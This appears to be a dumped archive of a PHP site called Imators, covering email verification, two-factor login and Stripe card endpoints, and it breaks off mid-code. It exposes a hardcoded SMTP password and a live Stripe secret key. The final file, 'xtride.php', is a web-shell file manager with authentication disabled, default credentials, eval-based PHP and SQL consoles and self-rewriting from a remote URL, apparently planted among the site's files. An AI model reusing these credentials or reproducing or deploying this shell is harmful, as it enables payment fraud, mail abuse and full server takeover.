($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['verify_code'])) { $code = trim($_POST['code']); $stmt = $conn->prepare("SELECT id, username, email FROM utilisateurs WHERE email = ? AND verification_code = ?"); $stmt->execute([$_SESSION['pending_email'], $code]); if ($stmt->rowCount() > 0) { $user = $stmt->fetch(PDO::FETCH_ASSOC); $updateStmt = $conn->prepare("UPDATE utilisateurs SET is_verified = 1, verification_code = NULL WHERE id = ?"); if ($updateStmt->execute([$user['id']])) { $_SESSION['user_id'] = $user['id']; $_SESSION['username'] = $user['username']; unset($_SESSION['pending_email']); // Envoi de l'email de bienvenue après vérification réussie $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.systems'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($user['email']); $mail->isHTML(true); $mail->Subject = 'Welcome to Imators!'; $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <h1 style="margin-bottom: 20px;">Welcome to Imators, ' . htmlspecialchars($user['username']) . '!</h1> <p style="margin-bottom: 30px;"> Your account has been successfully verified. You now have full access to Imators and its amazing features. We\'re excited to have you on board and can\'t wait to see what you\'ll accomplish. </p> <a href="https://idsma.imators.com/dashboard.php" style="display: inline-block; background-color: #00ff00; color: black; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Dashboard </a> </div> </div>'; $mail->send(); } catch (Exception $e) { // Log error but don't stop the process error_log("Welcome email error: " . $mail->ErrorInfo); } header('Location: dashboard.php'); exit(); } } else { $error = "Code incorrect. Please try again."; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['resend_code'])) { $code = sprintf("%06d", mt_rand(0, 999999)); $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.com'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->setFrom('no-reply@imators.com', 'Imators'); $mail->addAddress($_SESSION['pending_email']); $mail->isHTML(true); $mail->Subject = 'Your Verification Code'; $mail->Body = ' <div style="font-family: \'Poppins\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #1a1a1a; padding: 30px; border-radius: 10px; color: white;"> <img src="https://cdn.imators.com/logo.png" alt="Imators Logo" style="width: 40px; margin: 4px 0;"> <h1 style="margin-bottom: 20px;">Your verification code</h1> <p style="margin-bottom: 30px;">A registration has been launched to create an Imators account with this email address. The account is not yet validated but you will use this code to validate it. If unfortunately it is not you who have tried this action, do not panic! You simply have to ignore this email and we will take care of deleting your account. For more information about Imators, do not hesitate to visit our <a href="https://imators.com/terms-of-use">terms and conditions</a></p> <div style="background: #000; padding: 20px; border-radius: 5px; text-align: center; font-size: 24px; letter-spacing: 5px; margin-bottom: 30px;"> ' . $code . ' </div> </div> </div>'; if ($mail->send()) { $stmt = $conn->prepare("UPDATE utilisateurs SET verification_code = ? WHERE email = ?"); $stmt->execute([$code, $_SESSION['pending_email']]); $success = "New verification code sent!"; } } catch (Exception $e) { $error = "Could not send verification code. Please try again."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verify Email - Imators</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Poppins', sans-serif; background: linear-gradient(to bottom, #000000, #111111); } .code-input { width: 50px !important; height: 60px; padding: 0 !important; font-size: 24px; text-align: center; border-radius: 8px; border: 1px solid rgba(255, 255, 255, 0.1); background: rgba(0, 0, 0, 0.3); color: white; } .code-input:focus { outline: none; border-color: rgba(255, 255, 255, 0.3); box-shadow: 0 0 0 2px rgba(255, 255, 255, 0.1); } </style> </head> <body class="bg-black min-h-screen text-white"> <div class="flex flex-col items-center justify-center min-h-screen p-4"> <div class="w-full max-w-md"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Imators Logo" class="h-12 mx-auto mb-8"> <h1 class="text-2xl font-semibold mb-2">Verify your email</h1> <p class="text-gray-400">We've sent a verification code to<br><?php echo htmlspecialchars($_SESSION['pending_email']); ?></p> </div> <?php if ($error): ?> <div class="bg-red-500/10 border border-red-500/20 text-red-400 p-4 rounded-lg mb-6"> <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if ($success): ?> <div class="bg-green-500/10 border border-green-500/20 text-green-400 p-4 rounded-lg mb-6"> <?php echo htmlspecialchars($success); ?> </div> <?php endif; ?> <div class="bg-gray-900/80 rounded-lg p-8"> <form method="POST" id="verificationForm" class="space-y-6"> <div> <label class="block text-sm font-medium mb-4 text-gray-300">Enter verification code</label> <div class="flex justify-center gap-2 mb-4"> <input type="number" maxlength="1" class="code-input" data-index="0" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> <input type="number" maxlength="1" class="code-input" data-index="1" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> <input type="number" maxlength="1" class="code-input" data-index="2" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> <input type="number" maxlength="1" class="code-input" data-index="3" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> <input type="number" maxlength="1" class="code-input" data-index="4" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> <input type="number" maxlength="1" class="code-input" data-index="5" min="0" max="9" pattern="[0-9]*" inputmode="numeric"> </div> <input type="hidden" name="code" id="finalCode"> </div> <button type="submit" name="verify_code" class="w-full bg-white text-black py-3 px-6 rounded-lg font-medium hover:bg-gray-100"> Verify Email </button> <div class="text-center pt-4 border-t border-gray-800"> <p class="text-gray-400 text-sm mb-2">Didn't receive the code?</p> <button type="submit" name="resend_code" class="text-white text-sm hover:underline focus:outline-none"> Send it again </button> </div> </form> </div> <div class="text-center mt-6"> <a href="logout.php" class="text-gray-400 text-sm hover:text-white"> Use a different email </a> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('verificationForm'); const inputs = [...document.querySelectorAll('.code-input')]; const finalCode = document.getElementById('finalCode'); inputs[0].focus(); inputs.forEach((input, index) => { input.addEventListener('input', function(e) { let value = this.value; if (value.length >= 1) { value = value.slice(-1); this.value = value; if (index < inputs.length - 1) { inputs[index + 1].focus(); } } const code = inputs.map(input => input.value).join(''); finalCode.value = code; }); input.addEventListener('keydown', function(e) { if (e.key === 'Backspace' && !this.value && index > 0) { inputs[index - 1].focus(); inputs[index - 1].value = ''; finalCode.value = inputs.map(input => input.value).join(''); } }); }); form.addEventListener('keypress', function(e) { if(e.key === 'Enter') { e.preventDefault(); } }); form.addEventListener('submit', function(e) { if(!e.submitter || e.submitter.name !== 'verify_code') { const code = inputs.map(input => input.value).join(''); finalCode.value = code; } }); }); </script> </body> </html>PK �)�[����. . verify_2fa.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require_once 'setup_2fa.php'; // Vérification de la session en attente if (!isset($_SESSION['pending_user_id'])) { header('Location: login.php'); exit; } // Vérification du nombre maximal de tentatives if (!isset($_SESSION['2fa_attempts'])) { $_SESSION['2fa_attempts'] = 0; } if ($_SESSION['2fa_attempts'] >= 5) { if (!isset($_SESSION['2fa_timeout']) || time() >= $_SESSION['2fa_timeout']) { // Réinitialisation après 15 minutes $_SESSION['2fa_attempts'] = 0; unset($_SESSION['2fa_timeout']); } else { $remainingTime = ceil(($_SESSION['2fa_timeout'] - time()) / 60); $error = "Trop de tentatives. Veuillez réessayer dans {$remainingTime} minutes."; } } $db = new Database(); $conn = $db->connect(); $twoFA = new TwoFactorAuth($db); $error = ''; $success = ''; // Récupération des informations de l'utilisateur pour l'affichage try { $stmt = $conn->prepare("SELECT username, email, `profile-picture` FROM utilisateurs WHERE id = ?"); $stmt->execute([$_SESSION['pending_user_id']]); $user = $stmt->fetch(PDO::FETCH_ASSOC); } catch(PDOException $e) { error_log("Error fetching user data: " . $e->getMessage()); $user = ['username' => 'User', 'profile-picture' => 'default-avatar.png']; } // Traitement de la soumission du code if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_SESSION['2fa_timeout']) && time() < $_SESSION['2fa_timeout']) { $error = "Compte temporairement bloqué. Veuillez réessayer plus tard."; } else { $code = preg_replace('/[^0-9]/', '', $_POST['code']); // Nettoyage du code if (strlen($code) !== 6 && strlen($code) !== 8) { $error = "Le code doit contenir 6 chiffres ou 8 caractères pour un code de secours."; } else { if ($twoFA->verifyCode($_SESSION['pending_user_id'], $code)) { // Mise à jour des informations de connexion try { $stmt = $conn->prepare(" UPDATE `connection-watchguard` SET `2fa_verified` = TRUE, `2fa_verified_at` = NOW() WHERE user_id = ? ORDER BY `date-of-connect` DESC LIMIT 1 "); $stmt->execute([$_SESSION['pending_user_id']]); // Configuration de la session $_SESSION['user_id'] = $_SESSION['pending_user_id']; $_SESSION['2fa_verified'] = true; unset($_SESSION['pending_user_id']); unset($_SESSION['2fa_attempts']); unset($_SESSION['2fa_timeout']); // Redirection avec animation $success = "Vérification réussie. Redirection..."; header("refresh:1;url=profile.php"); } catch(PDOException $e) { error_log("Error updating 2FA verification: " . $e->getMessage()); $error = "Une erreur est survenue. Veuillez réessayer."; } } else { $_SESSION['2fa_attempts']++; if ($_SESSION['2fa_attempts'] >= 5) { $_SESSION['2fa_timeout'] = time() + (15 * 60); // 15 minutes $error = "Trop de tentatives. Compte temporairement bloqué pour 15 minutes."; } else { $remainingAttempts = 5 - $_SESSION['2fa_attempts']; $error = "Code invalide. Il vous reste {$remainingAttempts} tentative(s)."; } } } } } ?> <!DOCTYPE html> <html lang="fr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vérification A2F - Imators</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #000000, #0a0a0a, #141414); background-attachment: fixed; } .glass-effect { backdrop-filter: blur(16px); background: rgba(255, 255, 255, 0.02); border: 1px solid rgba(255, 255, 255, 0.05); } .gradient-border { position: relative; border-radius: 1.25rem; background: linear-gradient(145deg, rgba(26, 26, 26, 0.8), rgba(45, 45, 45, 0.4)); padding: 1px; } .gradient-border::before { content: ''; position: absolute; inset: -1px; border-radius: 1.25rem; padding: 1px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.12), rgba(255, 255, 255, 0.03)); -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .code-input { letter-spacing: 0.5em; text-align: center; } @keyframes pulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.05); } } .success-animation { animation: pulse 1s infinite; } .hover-scale { transition: all 0.3s ease; } .hover-scale:hover { transform: scale(1.02); } input:focus { outline: none; border-color: rgba(255, 255, 255, 0.2); box-shadow: 0 0 0 2px rgba(255, 255, 255, 0.05); } </style> </head> <body class="min-h-screen flex items-center justify-center p-4"> <div class="w-full max-w-md"> <!-- Logo --> <div class="text-center mb-8"> <img src="https://cdn.imators.com/logo.png" alt="Imators" class="h-12 mx-auto mb-4"> <h1 class="text-xl text-white font-medium">Vérification en deux étapes</h1> </div> <div class="gradient-border"> <div class="glass-effect rounded-xl p-6 sm:p-8"> <!-- Profil utilisateur --> <div class="flex items-center justify-center mb-8"> <div class="text-center"> <img src="<?php echo htmlspecialchars($user['profile-picture'] ?? 'default-avatar.png'); ?>" alt="Profile" class="w-20 h-20 rounded-full mx-auto mb-4 border-2 border-white/10"> <h2 class="text-lg font-medium text-white"> <?php echo htmlspecialchars($user['username']); ?> </h2> <p class="text-sm text-gray-400"> <?php echo htmlspecialchars($user['email']); ?> </p> </div> </div> <?php if ($error): ?> <div class="bg-red-500/10 border border-red-500/20 text-red-400 p-4 rounded-lg mb-6"> <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if ($success): ?> <div class="bg-green-500/10 border border-green-500/20 text-green-400 p-4 rounded-lg mb-6 success-animation"> <?php echo htmlspecialchars($success); ?> </div> <?php endif; ?> <?php if (!$success): ?> <form method="POST" class="space-y-6" id="verifyForm"> <div> <label class="block text-sm font-medium text-gray-300 mb-2"> Code de vérification </label> <input type="text" name="code" id="codeInput" required maxlength="8" pattern="[0-9]*" inputmode="numeric" autocomplete="one-time-code" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 text-center text-xl tracking-widest text-white" placeholder="000000"> <p class="mt-2 text-sm text-gray-400"> Entrez le code à 6 chiffres de votre application d'authentification </p> </div> <button type="submit" class="w-full bg-white text-black py-3 px-6 rounded-lg font-medium hover:bg-gray-100 transition-all hover-scale"> Vérifier </button> <div class="text-center"> <button type="button" onclick="showBackupCodeForm()" class="text-sm text-gray-400 hover:text-white transition-colors"> Utiliser un code de secours </button> </div> </form> <?php endif; ?> </div> </div> <?php if (!$success): ?> <div class="mt-6 text-center"> <a href="logout.php" class="text-sm text-gray-400 hover:text-white transition-colors"> Annuler et se déconnecter </a> </div> <?php endif; ?> </div> <script> // Focus automatique sur l'input document.addEventListener('DOMContentLoaded', function() { const codeInput = document.getElementById('codeInput'); if (codeInput) { codeInput.focus(); } }); // Formatage automatique du code document.getElementById('codeInput')?.addEventListener('input', function(e) { let value = e.target.value.replace(/[^0-9]/g, ''); e.target.value = value; }); // Animation du formulaire document.getElementById('verifyForm')?.addEventListener('submit', function(e) { const submitButton = this.querySelector('button[type="submit"]'); submitButton.disabled = true; submitButton.innerHTML = ` <svg class="animate-spin -ml-1 mr-3 h-5 w-5 inline-block" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> Vérification... `; }); function showBackupCodeForm() { const codeInput = document.getElementById('codeInput'); const label = codeInput.previousElementSibling; const helpText = codeInput.nextElementSibling; label.textContent = 'Code de secours'; codeInput.placeholder = '12345678'; codeInput.maxLength = 8; helpText.textContent = 'Entrez un code de secours à 8 caractères'; codeInput.focus(); } </script> </body> </html>PK �)�[h��-� � verify_2fa_ajax.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require_once 'TwoFactorAuth.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } $data = json_decode(file_get_contents('php://input'), true); $code = $data['code'] ?? ''; if (!$code || strlen($code) !== 6 || !ctype_digit($code)) { echo json_encode(['success' => false, 'error' => 'Invalid code']); exit; } try { $db = new Database(); $twoFA = new TwoFactorAuth($db); $result = $twoFA->enableTwoFactor($_SESSION['user_id'], $code); if ($result['success']) { $backupCodes = $twoFA->getBackupCodes($_SESSION['user_id']); $result['backupCodes'] = $backupCodes; } echo json_encode($result); } catch (Exception $e) { echo json_encode([ 'success' => false, 'error' => 'Verification failed' ]); }PK �)�[��y�� � add_payment_method.phpnu �Iw�� <?php if (session_status() === PHP_SESSION_NONE) { session_start(); } require_once 'db.php'; require 'vendor/autoload.php'; while (ob_get_level()) { ob_end_clean(); } header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-cache'); function sendResponse($data) { echo json_encode($data); exit; } if (!isset($_SESSION['user_id'])) { sendResponse(['success' => false, 'error' => 'Not authenticated']); } $input = file_get_contents('php://input'); $requestData = json_decode($input, true); if (!$requestData || !isset($requestData['token'])) { sendResponse(['success' => false, 'error' => 'Invalid request']); } $token = $requestData['token']; $makeDefault = !empty($requestData['makeDefault']); try { \Stripe\Stripe::setApiKey('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'); $db = new Database(); $conn = $db->connect(); $userQuery = $conn->prepare("SELECT id, email, username, stripe_customer_id FROM utilisateurs WHERE id = ?"); $userQuery->execute([$_SESSION['user_id']]); $user = $userQuery->fetch(PDO::FETCH_ASSOC); if (!$user) { sendResponse(['success' => false, 'error' => 'User not found']); } $stripeCustomerId = $user['stripe_customer_id']; if (empty($stripeCustomerId)) { $customer = \Stripe\Customer::create([ 'email' => $user['email'], 'name' => $user['username'] ]); $stripeCustomerId = $customer->id; $updateCustomer = $conn->prepare("UPDATE utilisateurs SET stripe_customer_id = ? WHERE id = ?"); $updateCustomer->execute([$stripeCustomerId, $user['id']]); } $cardSource = \Stripe\Customer::createSource($stripeCustomerId, ['source' => $token]); $countExisting = $conn->prepare("SELECT COUNT(*) FROM payment_methods WHERE user_id = ?"); $countExisting->execute([$user['id']]); $existingCount = $countExisting->fetchColumn(); $isDefault = ($makeDefault || $existingCount == 0); if ($isDefault) { \Stripe\Customer::update($stripeCustomerId, ['default_source' => $cardSource->id]); $resetDefault = $conn->prepare("UPDATE payment_methods SET is_default = 0 WHERE user_id = ?"); $resetDefault->execute([$user['id']]); } $insertCard = $conn->prepare(" INSERT INTO payment_methods (user_id, stripe_customer_id, stripe_card_id, last4, brand, exp_month, exp_year, is_default, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, NOW()) "); $insertCard->execute([ $user['id'], $stripeCustomerId, $cardSource->id, $cardSource->last4, $cardSource->brand, $cardSource->exp_month, $cardSource->exp_year, $isDefault ? 1 : 0 ]); sendResponse(['success' => true]); } catch (Exception $e) { sendResponse(['success' => false, 'error' => 'Payment failed']); } ?>PK �)�[�#� � setup_2fa_ajax.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require_once 'TwoFactorAuth.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT email FROM utilisateurs WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $email = $stmt->fetchColumn(); if (!$email) { echo json_encode(['success' => false, 'error' => 'User not found']); exit; } $twoFA = new TwoFactorAuth($db); $result = $twoFA->setupTwoFactor($_SESSION['user_id'], $email); echo json_encode($result); } catch (Exception $e) { error_log("2FA Setup Error: " . $e->getMessage()); echo json_encode(['success' => false, 'error' => 'Setup failed']); }PK �)�[�I�]: ]: xtride.phpnu �[��� <?php /* PHP File manager ver 1.6 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search": "Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.6; ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/henriyzx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if 